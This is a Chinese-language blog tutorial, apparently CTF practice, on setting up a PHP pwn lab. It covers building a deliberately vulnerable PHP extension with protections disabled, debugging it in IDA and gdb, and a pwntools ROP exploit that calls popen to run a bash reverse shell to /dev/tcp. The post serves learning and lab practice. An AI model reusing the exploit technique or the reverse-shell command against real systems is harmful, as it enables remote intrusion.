php-pwn环境搭建及一个小demo

php拓展模块开发

我们开发的是一个漏洞函数,为了后面进行调试

环境搭建

本机的环境是Ubuntu18.04,我们使用下面的命令来简单的搭建开发环境

安装php,以及php开发包头

$> sudo apt install php php-dev
$> php -v 查看php版本

我的版本为7.2.24,之后我们去php的github的源代码发布页面上下载相同版本的源代码。

php-7.2.24
|____build --和编译有关的目录,里面包括wk,awk和sh脚本用于编译处理,其中m4文件是linux下编译程序自动生成的文件,可以使用buildconf命令操作具体的配置文件。
|____ext --扩展库代码,例如Mysql,gd,zlib,xml,iconv 等我们熟悉的扩展库,ext_skel是linux下扩展生成脚本,windows下使用ext_skel_win32.php。 
|____main --主目录,包含PHP的主要宏定义文件,php.h包含绝大部分PHP宏及PHP API定义。 |____netware --网络目录,只有sendmail_nw.h和start.c,分别定义SOCK通信所需要的头文件和具体实现。 |____pear --扩展包目录,PHP Extension and Application Repository。
|____sapi --各种服务器的接口调用,如Apache,IIS等。
|____scripts --linux下的脚本目录。 
|____tests --测试脚本目录,主要是phpt脚本,由--TEST--,--POST--,--FILE--,--EXPECT--组成,需要初始化可添加--INI--部分。
|____TSRM --线程安全资源管理器,Thread Safe Resource Manager保证在单线程和多线程模型下的线程安全和代码一致性。
|____win32 --Windows下编译PHP 有关的脚本。
|____Zend --包含Zend引擎的所有文件,包括PHP的生命周期,内存管理,变量定义和赋值以及函数宏定义等等。

模块生成

扩展模块开发首先我们进入源代码目录,使用如下目录生成扩展模块的工程项目

第一步:进入目录
cd /source code/ext

第二步:创建模块文件
./ext_skel –extname=easy_phppwn

第三步:写入拓展代码

第四步:生成configure文件

在当前目录执行:phpize

第五步:配置编译

./configure –with-php-config=/usr/bin/php-config

第六步:修改Makefile

取消-O2优化,否则会加上FORTIFY保护,导致memcpy函数加上长度检查变为__memcpy_chk函数,并且加上取消canary的保护

第七步:编译并增加php配置

利用make指令进行编译,扩展目录下的modules目录,会生成一个.so,这个就是最终生成的扩展二进制文件。

此时需要编辑PHP配置文件php.ini,增加一行扩展配置:

sudo vim /etc/php/7.2/cli/php.ini
{% asset_img 4.png %}
可以直接写绝对路径

最后我们进行测试一下:

php -m | grep easy_phppwn

如果成功则会显示:

调用写的函数

// easy.php 
<?php 
$a = "abcd"; 
easy_phppwn($a); 
?>

执行:

php拓展模块的调试

IDA分析

反编译我们加载的so文件:

触发漏洞

from pwn import * 

def create_php(buf): 
with open("pwn.php", 'w+') as pf: 
pf.write('''<?php easy_phppwn(urldecode("%s")); ?>'''%urlencode(buf)) 
buf = 'a'*0x80 
buf += 'b'*0x10 

create_php(buf)
可以看到已经栈溢出了

gdb调试

执行gdb php

接下来执行run

ctrl+c后利用vmmap查看,我们可以看到已经加载了easy_phppwn.so

我们现在可以设置断点了,如果在run之前设置会提示找不到该函数,设置断点我们需要设置真正的函数名,其实是zif_funcname,也就是我们在ida中看到的函数名,这里就是zif_easy_phppwn,同时设置参数为之前生成的pwn.php文件

此时我们断在zif_easy_phppwn

break zif_easy_phppwn

设置执行文件

set args ./pwn.php

再次运行

run

就成功断住了:

exp

原作者说:phppwn题目来说,是基本没法使用one_gadget,system(‘/bin/sh’)来直接获取交互式shell的,所以这里通过使用popenv来开启一个反弹shell到vps上,当然其实还可以使用rop链构造调用mprotect函数来给stack执行权限,然后找一个jmp rsp来直接执行shellcode。

from pwn import * 

context.update(os="linux",arch="amd64")

def create_php(buf): 
    with open("pwn.php", 'w+') as pf: 
        pf.write('''<?php 
        easy_phppwn(urldecode("%s")); 
        ?>'''%urlencode(buf)) 

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc.address = 0x7ffff5e25000

pop_rdi_ret = 0x2155f+libc.address
pop_rsi_ret = 0x0000000000023e8a+libc.address
popen_addr = libc.sym['popen']

command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'

stack_base = 0x7fffffffa548
stack_offset = 0x1c330
stack_addr = stack_offset+stack_base
layout = [
    'a'*0x88,
    pop_rdi_ret,
    stack_base+0x60,
    pop_rsi_ret,
    stack_base-0x8,
    popen_addr,
    'r'+'\x00'*7,
    'a'*0x60,
    command.ljust(0x60, '\x00'),
    "a"*0x8
]
buf = flat(layout)

create_php(buf) 

直接执行php文件无法getshell不知道为什么。

参考链接:

WEBPWN入门级调试讲解
Linux下PHP7扩展开发入门教程1:扩展开发流程


 Previous
2020 De1CTF部分pwn题复盘 2020 De1CTF部分pwn题复盘
stl_container查看文件 保护全开 2.27 libc,C++题 vector释放机制漏洞 IDA分析题目提供四个机制:list、vector、stack、queue每个机制下都有一个小菜单,分别是create、delete、s
2020-10-09
Next 
2020-国赛半决赛PWN题记录 2020-国赛半决赛PWN题记录
半决赛day1pwn1简单的分析栈溢出,栈迁移后利用函数打印libc地址,最后system(“/bin/sh”),这个题当时做调试的时候出了些问题,这里有这么几个点:1.没有用raw_input()暂停。2.对32位连续调用函数的清空栈的做
2020-09-25
  TOC